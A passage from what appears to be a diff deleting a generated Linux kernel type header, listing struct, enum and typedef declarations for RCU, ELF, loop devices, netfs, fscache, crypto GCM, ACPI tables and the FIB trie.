(*btf_trace_tls_device_rx_resync_nh_delay)(void *, struct sock *, u32, u32); - -typedef void (*btf_trace_tls_device_tx_resync_req)(void *, struct sock *, u32, u32); - -typedef void (*btf_trace_tls_device_tx_resync_send)(void *, struct sock *, u32, u8 *); - -enum { - INET_FRAG_FIRST_IN = 1, - INET_FRAG_LAST_IN = 2, - INET_FRAG_COMPLETE = 4, - INET_FRAG_HASH_DEAD = 8, - INET_FRAG_DROP = 16, -}; - -struct frag_queue { - struct inet_frag_queue q; - int iif; - __u16 nhoffset; - u8 ecn; -}; - -struct vlan_vid_info { - struct list_head list; - __be16 proto; - u16 vid; - int refcount; -}; - -typedef __u32 Elf32_Addr; - -typedef __u16 Elf32_Half; - -typedef __u32 Elf32_Off; - -struct elf32_hdr { - unsigned char e_ident[16]; - Elf32_Half e_type; - Elf32_Half e_machine; - Elf32_Word e_version; - Elf32_Addr e_entry; - Elf32_Off e_phoff; - Elf32_Off e_shoff; - Elf32_Word e_flags; - Elf32_Half e_ehsize; - Elf32_Half e_phentsize; - Elf32_Half e_phnum; - Elf32_Half e_shentsize; - Elf32_Half e_shnum; - Elf32_Half e_shstrndx; -}; - -typedef struct elf32_hdr Elf32_Ehdr; - -struct elf32_phdr { - Elf32_Word p_type; - Elf32_Off p_offset; - Elf32_Addr p_vaddr; - Elf32_Addr p_paddr; - Elf32_Word p_filesz; - Elf32_Word p_memsz; - Elf32_Word p_flags; - Elf32_Word p_align; -}; - -typedef struct elf32_phdr Elf32_Phdr; - -typedef struct elf64_phdr Elf64_Phdr; - -typedef struct elf32_note Elf32_Nhdr; - -enum { - EXTRA_REG_NHMEX_M_FILTER = 0, - EXTRA_REG_NHMEX_M_DSP = 1, - EXTRA_REG_NHMEX_M_ISS = 2, - EXTRA_REG_NHMEX_M_MAP = 3, - EXTRA_REG_NHMEX_M_MSC_THR = 4, - EXTRA_REG_NHMEX_M_PGT = 5, - EXTRA_REG_NHMEX_M_PLD = 6, - EXTRA_REG_NHMEX_M_ZDP_CTL_FVC = 7, -}; - -struct dev_printk_info; - -struct rcu_gp_oldstate { - long unsigned int rgos_norm; - long unsigned int rgos_exp; -}; - -struct context_tracking { - atomic_t state; - long int dynticks_nesting; - long int dynticks_nmi_nesting; -}; - -struct rt_mutex { - struct rt_mutex_base rtmutex; - struct lockdep_map dep_map; -}; - -struct rcu_exp_work { - long unsigned int rew_s; - struct work_struct rew_work; -}; - -struct rcu_node { - raw_spinlock_t lock; - long unsigned int gp_seq; - long unsigned int gp_seq_needed; - long unsigned int completedqs; - long unsigned int qsmask; - long unsigned int rcu_gp_init_mask; - long unsigned int qsmaskinit; - long unsigned int qsmaskinitnext; - long unsigned int expmask; - long unsigned int expmaskinit; - long unsigned int expmaskinitnext; - long unsigned int cbovldmask; - long unsigned int ffmask; - long unsigned int grpmask; - int grplo; - int grphi; - u8 grpnum; - u8 level; - bool wait_blkd_tasks; - struct rcu_node *parent; - struct list_head blkd_tasks; - struct list_head *gp_tasks; - struct list_head *exp_tasks; - struct list_head *boost_tasks; - struct rt_mutex boost_mtx; - long unsigned int boost_time; - struct mutex boost_kthread_mutex; - struct task_struct *boost_kthread_task; - unsigned int boost_kthread_status; - long unsigned int n_boosts; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - raw_spinlock_t fqslock; - spinlock_t exp_lock; - long unsigned int exp_seq_rq; - wait_queue_head_t exp_wq[4]; - struct rcu_exp_work rew; - bool exp_need_flush; - raw_spinlock_t exp_poll_lock; - long unsigned int exp_seq_poll_rq; - struct work_struct exp_poll_wq; - long: 64; - long: 64; -}; - -union rcu_noqs { - struct { - u8 norm; - u8 exp; - } b; - u16 s; -}; - -struct rcu_data { - long unsigned int gp_seq; - long unsigned int gp_seq_needed; - union rcu_noqs cpu_no_qs; - bool core_needs_qs; - bool beenonline; - bool gpwrap; - bool cpu_started; - struct rcu_node *mynode; - long unsigned int grpmask; - long unsigned int ticks_this_gp; - struct irq_work defer_qs_iw; - bool defer_qs_iw_pending; - struct work_struct strict_work; - struct rcu_segcblist cblist; - long int qlen_last_fqs_check; - long unsigned int n_cbs_invoked; - long unsigned int n_force_qs_snap; - long int blimit; - int dynticks_snap; - bool rcu_need_heavy_qs; - bool rcu_urgent_qs; - bool rcu_forced_tick; - bool rcu_forced_tick_exp; - long unsigned int barrier_seq_snap; - struct callback_head barrier_head; - int exp_dynticks_snap; - struct task_struct *rcu_cpu_kthread_task; - unsigned int rcu_cpu_kthread_status; - char rcu_cpu_has_work; - long unsigned int rcuc_activity; - unsigned int softirq_snap; - struct irq_work rcu_iw; - bool rcu_iw_pending; - long unsigned int rcu_iw_gp_seq; - long unsigned int rcu_ofl_gp_seq; - short int rcu_ofl_gp_flags; - long unsigned int rcu_onl_gp_seq; - short int rcu_onl_gp_flags; - long unsigned int last_fqs_resched; - long unsigned int last_sched_clock; - int cpu; -}; - -struct rcu_state { - struct rcu_node node[9]; - struct rcu_node *level[3]; - int ncpus; - int n_online_cpus; - long: 64; - long: 64; - long: 64; - long: 64; - long unsigned int gp_seq; - long unsigned int gp_max; - struct task_struct *gp_kthread; - struct swait_queue_head gp_wq; - short int gp_flags; - short int gp_state; - long unsigned int gp_wake_time; - long unsigned int gp_wake_seq; - long unsigned int gp_seq_polled; - long unsigned int gp_seq_polled_snap; - long unsigned int gp_seq_polled_exp_snap; - struct mutex barrier_mutex; - atomic_t barrier_cpu_count; - struct completion barrier_completion; - long unsigned int barrier_sequence; - raw_spinlock_t barrier_lock; - struct mutex exp_mutex; - struct mutex exp_wake_mutex; - long unsigned int expedited_sequence; - atomic_t expedited_need_qs; - struct swait_queue_head expedited_wq; - int ncpus_snap; - u8 cbovld; - u8 cbovldnext; - long unsigned int jiffies_force_qs; - long unsigned int jiffies_kick_kthreads; - long unsigned int n_force_qs; - long unsigned int gp_start; - long unsigned int gp_end; - long unsigned int gp_activity; - long unsigned int gp_req_activity; - long unsigned int jiffies_stall; - long unsigned int jiffies_resched; - long unsigned int n_force_qs_gpstart; - const char *name; - char abbr; - long: 64; - arch_spinlock_t ofl_lock; - int nocb_is_setup; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct kvfree_rcu_bulk_data { - long unsigned int nr_records; - struct kvfree_rcu_bulk_data *next; - void *records[0]; -}; - -struct kfree_rcu_cpu; - -struct kfree_rcu_cpu_work { - struct rcu_work rcu_work; - struct callback_head *head_free; - struct kvfree_rcu_bulk_data *bkvhead_free[2]; - struct kfree_rcu_cpu *krcp; -}; - -struct kfree_rcu_cpu { - struct callback_head *head; - struct kvfree_rcu_bulk_data *bkvhead[2]; - struct kfree_rcu_cpu_work krw_arr[2]; - raw_spinlock_t lock; - struct delayed_work monitor_work; - bool initialized; - int count; - struct delayed_work page_cache_work; - atomic_t backoff_page_cache_fill; - atomic_t work_in_progress; - struct hrtimer hrtimer; - struct llist_head bkvcache; - int nr_bkv_objs; -}; - -struct rcu_stall_chk_rdr { - int nesting; - union rcu_special rs; - bool on_blkd_list; -}; - -struct x509_certificate { - struct x509_certificate *next; - struct x509_certificate *signer; - struct public_key *pub; - struct public_key_signature *sig; - char *issuer; - char *subject; - struct asymmetric_key_id *id; - struct asymmetric_key_id *skid; - time64_t valid_from; - time64_t valid_to; - const void *tbs; - unsigned int tbs_size; - unsigned int raw_sig_size; - const void *raw_sig; - const void *raw_serial; - unsigned int raw_serial_size; - unsigned int raw_issuer_size; - const void *raw_issuer; - const void *raw_subject; - unsigned int raw_subject_size; - unsigned int raw_skid_size; - const void *raw_skid; - unsigned int index; - bool seen; - bool verified; - bool self_signed; - bool unsupported_sig; - bool blacklisted; -}; - -struct pkcs7_signed_info { - struct pkcs7_signed_info *next; - struct x509_certificate *signer; - unsigned int index; - bool unsupported_crypto; - bool blacklisted; - const void *msgdigest; - unsigned int msgdigest_len; - unsigned int authattrs_len; - const void *authattrs; - long unsigned int aa_set; - time64_t signing_time; - struct public_key_signature *sig; -}; - -struct pkcs7_message { - struct x509_certificate *certs; - struct x509_certificate *crl; - struct pkcs7_signed_info *signed_infos; - u8 version; - bool have_authattrs; - enum OID data_type; - size_t data_len; - size_t data_hdrlen; - const void *data; -}; - -struct blk_mq_hw_ctx_sysfs_entry { - struct attribute attr; - ssize_t (*show)(struct blk_mq_hw_ctx *, char *); - ssize_t (*store)(struct blk_mq_hw_ctx *, const char *, size_t); -}; - -struct csum_state { - __wsum csum; - size_t off; -}; - -typedef s32 compat_ssize_t; - -struct compat_iovec { - compat_uptr_t iov_base; - compat_size_t iov_len; -}; - -struct aperture_range { - struct device *dev; - resource_size_t base; - resource_size_t size; - struct list_head lh; - void (*detach)(struct device *); -}; - -struct acpi_pci_device { - acpi_handle device; - struct acpi_pci_device *next; -}; - -enum acpi_cedt_type { - ACPI_CEDT_TYPE_CHBS = 0, - ACPI_CEDT_TYPE_CFMWS = 1, - ACPI_CEDT_TYPE_RESERVED = 2, -}; - -struct acpi_cedt_cfmws { - struct acpi_cedt_header header; - u32 reserved1; - u64 base_hpa; - u64 window_size; - u8 interleave_ways; - u8 interleave_arithmetic; - u16 reserved2; - u32 granularity; - u16 restrictions; - u16 qtg_id; - u32 interleave_targets[0]; -} __attribute__((packed)); - -struct acpi_table_slit { - struct acpi_table_header header; - u64 locality_count; - u8 entry[1]; -} __attribute__((packed)); - -struct acpi_table_srat { - struct acpi_table_header header; - u32 table_revision; - u64 reserved; -}; - -enum acpi_srat_type { - ACPI_SRAT_TYPE_CPU_AFFINITY = 0, - ACPI_SRAT_TYPE_MEMORY_AFFINITY = 1, - ACPI_SRAT_TYPE_X2APIC_CPU_AFFINITY = 2, - ACPI_SRAT_TYPE_GICC_AFFINITY = 3, - ACPI_SRAT_TYPE_GIC_ITS_AFFINITY = 4, - ACPI_SRAT_TYPE_GENERIC_AFFINITY = 5, - ACPI_SRAT_TYPE_GENERIC_PORT_AFFINITY = 6, - ACPI_SRAT_TYPE_RESERVED = 7, -}; - -struct acpi_srat_mem_affinity { - struct acpi_subtable_header header; - u32 proximity_domain; - u16 reserved; - u64 base_address; - u64 length; - u32 reserved1; - u32 flags; - u64 reserved2; -} __attribute__((packed)); - -struct acpi_srat_gicc_affinity { - struct acpi_subtable_header header; - u32 proximity_domain; - u32 acpi_processor_uid; - u32 flags; - u32 clock_domain; -} __attribute__((packed)); - -struct acpi_srat_generic_affinity { - struct acpi_subtable_header header; - u8 reserved; - u8 device_handle_type; - u32 proximity_domain; - u8 device_handle[16]; - u32 flags; - u32 reserved1; -}; - -struct virtio_pci_modern_common_cfg { - struct virtio_pci_common_cfg cfg; - __le16 queue_notify_data; - __le16 queue_reset; -}; - -typedef long unsigned int __kernel_old_dev_t; - -enum { - LO_FLAGS_READ_ONLY = 1, - LO_FLAGS_AUTOCLEAR = 4, - LO_FLAGS_PARTSCAN = 8, - LO_FLAGS_DIRECT_IO = 16, -}; - -struct loop_info { - int lo_number; - __kernel_old_dev_t lo_device; - long unsigned int lo_inode; - __kernel_old_dev_t lo_rdevice; - int lo_offset; - int lo_encrypt_type; - int lo_encrypt_key_size; - int lo_flags; - char lo_name[64]; - unsigned char lo_encrypt_key[32]; - long unsigned int lo_init[2]; - char reserved[4]; -}; - -struct loop_info64 { - __u64 lo_device; - __u64 lo_inode; - __u64 lo_rdevice; - __u64 lo_offset; - __u64 lo_sizelimit; - __u32 lo_number; - __u32 lo_encrypt_type; - __u32 lo_encrypt_key_size; - __u32 lo_flags; - __u8 lo_file_name[64]; - __u8 lo_crypt_name[64]; - __u8 lo_encrypt_key[32]; - __u64 lo_init[2]; -}; - -struct loop_config { - __u32 fd; - __u32 block_size; - struct loop_info64 info; - __u64 __reserved[8]; -}; - -enum { - Lo_unbound = 0, - Lo_bound = 1, - Lo_rundown = 2, - Lo_deleting = 3, -}; - -struct loop_device { - int lo_number; - loff_t lo_offset; - loff_t lo_sizelimit; - int lo_flags; - char lo_file_name[64]; - struct file *lo_backing_file; - struct block_device *lo_device; - gfp_t old_gfp_mask; - spinlock_t lo_lock; - int lo_state; - spinlock_t lo_work_lock; - struct workqueue_struct *workqueue; - struct work_struct rootcg_work; - struct list_head rootcg_cmd_list; - struct list_head idle_worker_list; - struct rb_root worker_tree; - struct timer_list timer; - bool use_dio; - bool sysfs_inited; - struct request_queue *lo_queue; - struct blk_mq_tag_set tag_set; - struct gendisk *lo_disk; - struct mutex lo_mutex; - bool idr_visible; -}; - -struct loop_cmd { - struct list_head list_entry; - bool use_aio; - atomic_t ref; - long int ret; - struct kiocb iocb; - struct bio_vec *bvec; - struct cgroup_subsys_state *blkcg_css; - struct cgroup_subsys_state *memcg_css; -}; - -struct loop_worker { - struct rb_node rb_node; - struct work_struct work; - struct list_head cmd_list; - struct list_head idle_list; - struct loop_device *lo; - struct cgroup_subsys_state *blkcg_css; - long unsigned int last_ran_at; -}; - -struct rss_req_info { - struct ethnl_req_info base; - u32 rss_context; -}; - -struct rss_reply_data { - struct ethnl_reply_data base; - u32 indir_size; - u32 hkey_size; - u32 hfunc; - u32 *indir_table; - u8 *hkey; -}; - -struct ipq { - struct inet_frag_queue q; - u8 ecn; - u16 max_df_size; - int iif; - unsigned int rid; - struct inet_peer *peer; -}; - -struct gre_protocol { - int (*handler)(struct sk_buff *); - void (*err_handler)(struct sk_buff *, u32); -}; - -struct amd_hostbridge { - u32 bus; - u32 slot; - u32 device; -}; - -struct xz_dec; - -enum { - SNB_PCI_UNCORE_IMC = 0, -}; - -enum perf_snb_uncore_imc_freerunning_types { - SNB_PCI_UNCORE_IMC_DATA_READS = 0, - SNB_PCI_UNCORE_IMC_DATA_WRITES = 1, - SNB_PCI_UNCORE_IMC_GT_REQUESTS = 2, - SNB_PCI_UNCORE_IMC_IA_REQUESTS = 3, - SNB_PCI_UNCORE_IMC_IO_REQUESTS = 4, - SNB_PCI_UNCORE_IMC_FREERUNNING_TYPE_MAX = 5, -}; - -struct imc_uncore_pci_dev { - __u32 pci_id; - struct pci_driver *driver; -}; - -enum perf_tgl_uncore_imc_freerunning_types { - TGL_MMIO_UNCORE_IMC_DATA_TOTAL = 0, - TGL_MMIO_UNCORE_IMC_DATA_READ = 1, - TGL_MMIO_UNCORE_IMC_DATA_WRITE = 2, - TGL_MMIO_UNCORE_IMC_FREERUNNING_TYPE_MAX = 3, -}; - -enum perf_adl_uncore_imc_freerunning_types { - ADL_MMIO_UNCORE_IMC_DATA_TOTAL = 0, - ADL_MMIO_UNCORE_IMC_DATA_READ = 1, - ADL_MMIO_UNCORE_IMC_DATA_WRITE = 2, - ADL_MMIO_UNCORE_IMC_FREERUNNING_TYPE_MAX = 3, -}; - -typedef __s64 Elf64_Sxword; - -struct elf64_rela { - Elf64_Addr r_offset; - Elf64_Xword r_info; - Elf64_Sxword r_addend; -}; - -typedef struct elf64_rela Elf64_Rela; - -struct paravirt_patch_site; - -struct clone_args { - __u64 flags; - __u64 pidfd; - __u64 child_tid; - __u64 parent_tid; - __u64 exit_signal; - __u64 stack; - __u64 stack_size; - __u64 tls; - __u64 set_tid; - __u64 set_tid_size; - __u64 cgroup; -}; - -struct multiprocess_signals { - sigset_t signal; - struct hlist_node node; -}; - -typedef int (*proc_visitor)(struct task_struct *, void *); - -struct trace_event_raw_task_newtask { - struct trace_entry ent; - pid_t pid; - char comm[16]; - long unsigned int clone_flags; - short int oom_score_adj; - char __data[0]; -}; - -struct trace_event_raw_task_rename { - struct trace_entry ent; - pid_t pid; - char oldcomm[16]; - char newcomm[16]; - short int oom_score_adj; - char __data[0]; -}; - -struct trace_event_data_offsets_task_newtask {}; - -struct trace_event_data_offsets_task_rename {}; - -typedef void (*btf_trace_task_newtask)(void *, struct task_struct *, long unsigned int); - -typedef void (*btf_trace_task_rename)(void *, struct task_struct *, const char *); - -struct vm_stack { - struct callback_head rcu; - struct vm_struct *stack_vm_area; -}; - -struct eventfd_ctx { - struct kref kref; - wait_queue_head_t wqh; - __u64 count; - unsigned int flags; - int id; -}; - -enum netfs_io_source { - NETFS_FILL_WITH_ZEROES = 0, - NETFS_DOWNLOAD_FROM_SERVER = 1, - NETFS_READ_FROM_CACHE = 2, - NETFS_INVALID_READ = 3, -} __attribute__((mode(byte))); - -typedef void (*netfs_io_terminated_t)(void *, ssize_t, bool); - -struct netfs_request_ops; - -struct netfs_inode { - struct inode inode; - const struct netfs_request_ops *ops; - loff_t remote_i_size; -}; - -struct netfs_io_request; - -struct netfs_io_subrequest; - -struct netfs_request_ops { - int (*init_request)(struct netfs_io_request *, struct file *); - void (*free_request)(struct netfs_io_request *); - int (*begin_cache_operation)(struct netfs_io_request *); - void (*expand_readahead)(struct netfs_io_request *); - bool (*clamp_length)(struct netfs_io_subrequest *); - void (*issue_read)(struct netfs_io_subrequest *); - bool (*is_still_valid)(struct netfs_io_request *); - int (*check_write_begin)(struct file *, loff_t, unsigned int, struct folio **, void **); - void (*done)(struct netfs_io_request *); -}; - -struct netfs_cache_ops; - -struct netfs_cache_resources { - const struct netfs_cache_ops *ops; - void *cache_priv; - void *cache_priv2; - unsigned int debug_id; - unsigned int inval_counter; -}; - -enum netfs_read_from_hole { - NETFS_READ_HOLE_IGNORE = 0, - NETFS_READ_HOLE_CLEAR = 1, - NETFS_READ_HOLE_FAIL = 2, -}; - -struct netfs_cache_ops { - void (*end_operation)(struct netfs_cache_resources *); - int (*read)(struct netfs_cache_resources *, loff_t, struct iov_iter *, enum netfs_read_from_hole, netfs_io_terminated_t, void *); - int (*write)(struct netfs_cache_resources *, loff_t, struct iov_iter *, netfs_io_terminated_t, void *); - void (*expand_readahead)(struct netfs_cache_resources *, loff_t *, size_t *, loff_t); - enum netfs_io_source (*prepare_read)(struct netfs_io_subrequest *, loff_t); - int (*prepare_write)(struct netfs_cache_resources *, loff_t *, size_t *, loff_t, bool); - int (*query_occupancy)(struct netfs_cache_resources *, loff_t, size_t, size_t, loff_t *, size_t *); -}; - -struct netfs_io_subrequest { - struct netfs_io_request *rreq; - struct list_head rreq_link; - loff_t start; - size_t len; - size_t transferred; - refcount_t ref; - short int error; - short unsigned int debug_index; - enum netfs_io_source source; - long unsigned int flags; -}; - -enum netfs_io_origin { - NETFS_READAHEAD = 0, - NETFS_READPAGE = 1, - NETFS_READ_FOR_WRITE = 2, -} __attribute__((mode(byte))); - -struct netfs_io_request { - struct work_struct work; - struct inode *inode; - struct address_space *mapping; - struct netfs_cache_resources cache_resources; - struct list_head subrequests; - void *netfs_priv; - unsigned int debug_id; - atomic_t nr_outstanding; - atomic_t nr_copy_ops; - size_t submitted; - size_t len; - short int error; - enum netfs_io_origin origin; - loff_t i_size; - loff_t start; - long unsigned int no_unlock_folio; - refcount_t ref; - long unsigned int flags; - const struct netfs_request_ops *netfs_ops; -}; - -enum p9_cache_modes { - CACHE_NONE = 0, - CACHE_MMAP = 1, - CACHE_LOOSE = 2, - CACHE_FSCACHE = 3, - nr__p9_cache_modes = 4, -}; - -struct v9fs_inode { - struct netfs_inode netfs; - struct p9_qid qid; - unsigned int cache_validity; - struct p9_fid *writeback_fid; - struct mutex v_mutex; -}; - -enum fscache_cookie_state { - FSCACHE_COOKIE_STATE_QUIESCENT = 0, - FSCACHE_COOKIE_STATE_LOOKING_UP = 1, - FSCACHE_COOKIE_STATE_CREATING = 2, - FSCACHE_COOKIE_STATE_ACTIVE = 3, - FSCACHE_COOKIE_STATE_INVALIDATING = 4, - FSCACHE_COOKIE_STATE_FAILED = 5, - FSCACHE_COOKIE_STATE_LRU_DISCARDING = 6, - FSCACHE_COOKIE_STATE_WITHDRAWING = 7, - FSCACHE_COOKIE_STATE_RELINQUISHING = 8, - FSCACHE_COOKIE_STATE_DROPPED = 9, -} __attribute__((mode(byte))); - -struct fscache_cache; - -struct fscache_volume { - refcount_t ref; - atomic_t n_cookies; - atomic_t n_accesses; - unsigned int debug_id; - unsigned int key_hash; - u8 *key; - struct list_head proc_link; - struct hlist_bl_node hash_link; - struct work_struct work; - struct fscache_cache *cache; - void *cache_priv; - spinlock_t lock; - long unsigned int flags; - u8 coherency_len; - u8 coherency[0]; -}; - -struct fscache_cookie { - refcount_t ref; - atomic_t n_active; - atomic_t n_accesses; - unsigned int debug_id; - unsigned int inval_counter; - spinlock_t lock; - struct fscache_volume *volume; - void *cache_priv; - struct hlist_bl_node hash_link; - struct list_head proc_link; - struct list_head commit_link; - struct work_struct work; - loff_t object_size; - long unsigned int unused_at; - long unsigned int flags; - enum fscache_cookie_state state; - u8 advice; - u8 key_len; - u8 aux_len; - u32 key_hash; - union { - void *key; - u8 inline_key[16]; - }; - union { - void *aux; - u8 inline_aux[8]; - }; -}; - -struct dotl_openflag_map { - int open_flag; - int dotl_flag; -}; - -struct dotl_iattr_map { - int iattr_valid; - int p9_iattr_valid; -}; - -struct kpp_request { - struct crypto_async_request base; - struct scatterlist *src; - struct scatterlist *dst; - unsigned int src_len; - unsigned int dst_len; - void *__ctx[0]; -}; - -struct hash_alg_common { - unsigned int digestsize; - unsigned int statesize; - struct crypto_alg base; -}; - -struct crypto_ahash_spawn { - struct crypto_spawn base; -}; - -struct gcm_instance_ctx { - struct crypto_skcipher_spawn ctr; - struct crypto_ahash_spawn ghash; -}; - -struct crypto_gcm_ctx { - struct crypto_skcipher *ctr; - struct crypto_ahash *ghash; -}; - -struct crypto_rfc4106_ctx { - struct crypto_aead *child; - u8 nonce[4]; -}; - -struct crypto_rfc4106_req_ctx { - struct scatterlist src[3]; - struct scatterlist dst[3]; - struct aead_request subreq; -}; - -struct crypto_rfc4543_instance_ctx { - struct crypto_aead_spawn aead; -}; - -struct crypto_rfc4543_ctx { - struct crypto_aead *child; - struct crypto_sync_skcipher *null; - u8 nonce[4]; -}; - -struct crypto_rfc4543_req_ctx { - struct aead_request subreq; -}; - -struct crypto_gcm_ghash_ctx { - unsigned int cryptlen; - struct scatterlist *src; - int (*complete)(struct aead_request *, u32); -}; - -struct crypto_gcm_req_priv_ctx { - u8 iv[16]; - u8 auth_tag[16]; - u8 iauth_tag[16]; - struct scatterlist src[3]; - struct scatterlist dst[3]; - struct scatterlist sg; - struct crypto_gcm_ghash_ctx ghash_ctx; - union { - struct ahash_request ahreq; - struct skcipher_request skreq; - } u; -}; - -struct acpi_madt_io_sapic { - struct acpi_subtable_header header; - u8 id; - u8 reserved; - u32 global_irq_base; - u64 address; -}; - -struct acpi_madt_interrupt_source { - struct acpi_subtable_header header; - u16 inti_flags; - u8 type; - u8 id; - u8 eid; - u8 io_sapic_vector; - u32 global_irq; - u32 flags; -}; - -struct acpi_madt_generic_distributor { - struct acpi_subtable_header header; - u16 reserved; - u32 gic_id; - u64 base_address; - u32 global_irq_base; - u8 version; - u8 reserved2[3]; -}; - -enum acpi_subtable_type { - ACPI_SUBTABLE_COMMON = 0, - ACPI_SUBTABLE_HMAT = 1, - ACPI_SUBTABLE_PRMT = 2, - ACPI_SUBTABLE_CEDT = 3, -}; - -struct acpi_subtable_entry { - union acpi_subtable_headers *hdr; - enum acpi_subtable_type type; -}; - -struct acpi_data_node_attr { - struct attribute attr; - ssize_t (*show)(struct acpi_data_node *, char *); - ssize_t (*store)(struct acpi_data_node *, const char *, size_t); -}; - -typedef u64 acpi_integer; - -struct acpi_prmt_module_info { - u16 revision; - u16 length; - u8 module_guid[16]; - u16 major_rev; - u16 minor_rev; - u16 handler_info_count; - u32 handler_info_offset; - u64 mmio_list_pointer; -} __attribute__((packed)); - -struct acpi_prmt_handler_info { - u16 revision; - u16 length; - u8 handler_guid[16]; - u64 handler_address; - u64 static_data_buffer_address; - u64 acpi_param_buffer_address; -} __attribute__((packed)); - -struct prm_mmio_addr_range { - u64 phys_addr; - u64 virt_addr; - u32 length; -} __attribute__((packed)); - -struct prm_mmio_info { - u64 mmio_count; - struct prm_mmio_addr_range addr_ranges[0]; -}; - -struct prm_buffer { - u8 prm_status; - u64 efi_status; - u8 prm_cmd; - guid_t handler_guid; -} __attribute__((packed)); - -struct prm_context_buffer { - char signature[4]; - u16 revision; - u16 reserved; - guid_t identifier; - u64 static_data_buffer; - struct prm_mmio_info *mmio_ranges; -}; - -struct prm_handler_info { - guid_t guid; - void *handler_addr; - u64 static_data_buffer_addr; - u64 acpi_param_buffer_addr; - struct list_head handler_list; -}; - -struct prm_module_info { - guid_t guid; - u16 major_rev; - u16 minor_rev; - u16 handler_count; - struct prm_mmio_info *mmio_info; - bool updatable; - struct list_head module_list; - struct prm_handler_info handlers[0]; -}; - -struct cpu { - int node_id; - int hotpluggable; - struct device dev; -}; - -struct cpu_attr { - struct device_attribute attr; - const struct cpumask * const map; -}; - -struct input_dev_poller { - void (*poll)(struct input_dev *); - unsigned int poll_interval; - unsigned int poll_interval_max; - unsigned int poll_interval_min; - struct input_dev *input; - struct delayed_work work; -}; - -struct trace_event_raw_thermal_temperature { - struct trace_entry ent; - u32 __data_loc_thermal_zone; - int id; - int temp_prev; - int temp; - char __data[0]; -}; - -struct trace_event_raw_cdev_update { - struct trace_entry ent; - u32 __data_loc_type; - long unsigned int target; - char __data[0]; -}; - -struct trace_event_raw_thermal_zone_trip { - struct trace_entry ent; - u32 __data_loc_thermal_zone; - int id; - int trip; - enum thermal_trip_type trip_type; - char __data[0]; -}; - -struct trace_event_data_offsets_thermal_temperature { - u32 thermal_zone; -}; - -struct trace_event_data_offsets_cdev_update { - u32 type; -}; - -struct trace_event_data_offsets_thermal_zone_trip { - u32 thermal_zone; -}; - -typedef void (*btf_trace_thermal_temperature)(void *, struct thermal_zone_device *); - -typedef void (*btf_trace_cdev_update)(void *, struct thermal_cooling_device *, long unsigned int); - -typedef void (*btf_trace_thermal_zone_trip)(void *, struct thermal_zone_device *, int, enum thermal_trip_type); - -enum qdisc_class_ops_flags { - QDISC_CLASS_OPS_DOIT_UNLOCKED = 1, -}; - -typedef void tcf_chain_head_change_t(struct tcf_proto *, void *); - -struct mini_Qdisc_pair { - struct mini_Qdisc miniq1; - struct mini_Qdisc miniq2; - struct mini_Qdisc **p_miniq; -}; - -struct tcf_block_ext_info { - enum flow_block_binder_type binder_type; - tcf_chain_head_change_t *chain_head_change; - void *chain_head_change_priv; - u32 block_index; -}; - -struct ingress_sched_data { - struct tcf_block *block; - struct tcf_block_ext_info block_info; - struct mini_Qdisc_pair miniqp; -}; - -struct clsact_sched_data { - struct tcf_block *ingress_block; - struct tcf_block *egress_block; - struct tcf_block_ext_info ingress_block_info; - struct tcf_block_ext_info egress_block_info; - struct mini_Qdisc_pair miniqp_ingress; - struct mini_Qdisc_pair miniqp_egress; -}; - -struct phc_vclocks_reply_data { - struct ethnl_reply_data base; - int num; - int *index; -}; - -struct fib_config { - u8 fc_dst_len; - dscp_t fc_dscp; - u8 fc_protocol; - u8 fc_scope; - u8 fc_type; - u8 fc_gw_family; - u32 fc_table; - __be32 fc_dst; - union { - __be32 fc_gw4; - struct in6_addr fc_gw6; - }; - int fc_oif; - u32 fc_flags; - u32 fc_priority; - __be32 fc_prefsrc; - u32 fc_nh_id; - struct nlattr *fc_mx; - struct rtnexthop *fc_mp; - int fc_mx_len; - int fc_mp_len; - u32 fc_flow; - u32 fc_nlflags; - struct nl_info fc_nlinfo; - struct nlattr *fc_encap; - u16 fc_encap_type; -}; - -struct fib_alias { - struct hlist_node fa_list; - struct fib_info *fa_info; - dscp_t fa_dscp; - u8 fa_type; - u8 fa_state; - u8 fa_slen; - u32 tb_id; - s16 fa_default; - u8 offload; - u8 trap; - u8 offload_failed; - struct callback_head rcu; -}; - -struct fib_prop { - int error; - u8 scope; -}; - -typedef unsigned int t_key; - -struct key_vector { - t_key key; - unsigned char pos; - unsigned char bits; - unsigned char slen; - union { - struct hlist_head leaf; - struct { - struct {} __empty_tnode; - struct key_vector *tnode[0]; - }; - }; -}; - -struct tnode { - struct callback_head rcu; - t_key empty_children; - t_key full_children; - struct key_vector *parent; - struct key_vector kv[1]; -}; - -struct trie_stat { - unsigned int totdepth; - unsigned int maxdepth; - unsigned int tnodes; - unsigned int leaves; - unsigned int nullpointers; - unsigned int prefixes; - unsigned int nodesizes[32]; -}; - -struct trie { - struct key_vector kv[1]; -}; - -struct fib_trie_iter { - struct seq_net_private p; - struct fib_table *tb; - struct key_vector *tnode; - unsigned int index; - unsigned int depth; -}; - -struct fib_route_iter { - struct seq_net_private p; - struct fib_table *main_tb; - struct key_vector *tnode; - loff_t pos; - t_key key; -}; - -enum uncore_access_type { - UNCORE_ACCESS_MSR = 0, - UNCORE_ACCESS_MMIO = 1, - UNCORE_ACCESS_PCI = 2, - UNCORE_ACCESS_MAX = 3, -}; - -enum { - SNBEP_PCI_QPI_PORT0_FILTER = 0, - SNBEP_PCI_QPI_PORT1_FILTER = 1, - BDX_PCI_QPI_PORT2_FILTER = 2, -}; - -enum { - SNBEP_PCI_UNCORE_HA = 0, - SNBEP_PCI_UNCORE_IMC = 1, - SNBEP_PCI_UNCORE_QPI = 2, - SNBEP_PCI_UNCORE_R2PCIE = 3, - SNBEP_PCI_UNCORE_R3QPI = 4, -}; - -enum { - IVBEP_PCI_UNCORE_HA = 0, - IVBEP_PCI_UNCORE_IMC = 1, - IVBEP_PCI_UNCORE_IRP = 2, - IVBEP_PCI_UNCORE_QPI = 3, - IVBEP_PCI_UNCORE_R2PCIE = 4, - IVBEP_PCI_UNCORE_R3QPI = 5, -}; - -enum { - KNL_PCI_UNCORE_MC_UCLK = 0, - KNL_PCI_UNCORE_MC_DCLK = 1, - KNL_PCI_UNCORE_EDC_UCLK = 2, - KNL_PCI_UNCORE_EDC_ECLK = 3, - KNL_PCI_UNCORE_M2PCIE = 4, - KNL_PCI_UNCORE_IRP = 5, -}; - -enum { - HSWEP_PCI_UNCORE_HA = 0, - HSWEP_PCI_UNCORE_IMC = 1, - HSWEP_PCI_UNCORE_IRP = 2, - 